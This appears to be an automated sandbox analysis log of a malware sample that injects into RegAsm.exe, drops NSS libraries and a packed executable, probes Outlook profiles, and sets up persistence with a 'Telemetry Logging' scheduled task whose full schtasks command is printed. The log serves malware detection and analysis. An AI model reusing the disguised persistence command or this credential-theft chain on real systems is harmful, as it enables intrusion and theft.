Source: DAECFIJDAAAKECBFCGHI.2.dr, DBKKFCBAKKFBGCBFHJDG.2.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: RegAsm.exe, 00000002.00000002.2240031378.000000001B4E8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2252571464.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: RegAsm.exe, 00000002.00000002.2240031378.000000001B4E8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2252571464.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 57%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6392 -s 928
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\BKKFCFBKFC.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\BKKFCFBKFC.exe "C:\ProgramData\BKKFCFBKFC.exe"
Source: C:\ProgramData\BKKFCFBKFC.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\BKKFCFBKFC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\BKKFCFBKFC.exe "C:\ProgramData\BKKFCFBKFC.exe"	Jump to behavior
Source: C:\ProgramData\BKKFCFBKFC.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\BKKFCFBKFC.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\BKKFCFBKFC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\BKKFCFBKFC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\BKKFCFBKFC.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000002.00000002.2252907582.000000006BF2D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: mscorlib.pdb source: file.exe, 00000000.00000002.2209613334.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, WERE197.tmp.dmp.6.dr
Source:	Binary string: System.ni.pdbRSDS source: WERE197.tmp.dmp.6.dr
Source:	Binary string: mscorlib.ni.pdb source: WERE197.tmp.dmp.6.dr
Source:	Binary string: System.Core.pdb source: WERE197.tmp.dmp.6.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.2.dr, softokn3.dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.2.dr, vcruntime140[1].dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.2.dr, msvcp140[1].dll.2.dr
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WERE197.tmp.dmp.6.dr
Source:	Binary string: System.pdbP source: WERE197.tmp.dmp.6.dr
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000002.00000002.2252907582.000000006BF2D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.2.dr, softokn3.dll.2.dr
Source:	Binary string: System.ni.pdb source: WERE197.tmp.dmp.6.dr
Source:	Binary string: System.pdb source: WERE197.tmp.dmp.6.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERE197.tmp.dmp.6.dr
Source:	Binary string: System.Core.ni.pdb source: WERE197.tmp.dmp.6.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\ProgramData\BKKFCFBKFC.exe	Unpacked PE file: 11.2.BKKFCFBKFC.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Unpacked PE file: 15.2.oobeldr.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004195E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

2_2_004195E0

Source: initial sample

Static PE information: section where entry point is pointing to: .MPRESS2

Source: freebl3.dll.2.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.2.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.2.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.2.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.2.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.2.dr	Static PE information: section name: .didat
Source: nss3.dll.2.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.2.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.2.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.2.dr	Static PE information: section name: .00cfg
Source: BKKFCFBKFC.exe.2.dr	Static PE information: section name: .MPRESS1
Source: BKKFCFBKFC.exe.2.dr	Static PE information: section name: .MPRESS2
Source: l2[1].exe.2.dr	Static PE information: section name: .MPRESS1
Source: l2[1].exe.2.dr	Static PE information: section name: .MPRESS2
Source: oobeldr.exe.11.dr	Static PE information: section name: .MPRESS1
Source: oobeldr.exe.11.dr	Static PE information: section name: .MPRESS2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041A9F5 push ecx; ret	2_2_0041AA08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEEB536 push ecx; ret	2_2_6BEEB549
Source: C:\ProgramData\BKKFCFBKFC.exe	Code function: 11_2_006D50A5 push ebp; ret	11_2_00721C57

Source: file.exe

Static PE information: section name: .text entropy: 7.991191973953772

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\BKKFCFBKFC.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\l2[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\ProgramData\BKKFCFBKFC.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\BKKFCFBKFC.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\ProgramData\BKKFCFBKFC.exe

Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

2_2_004195E0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
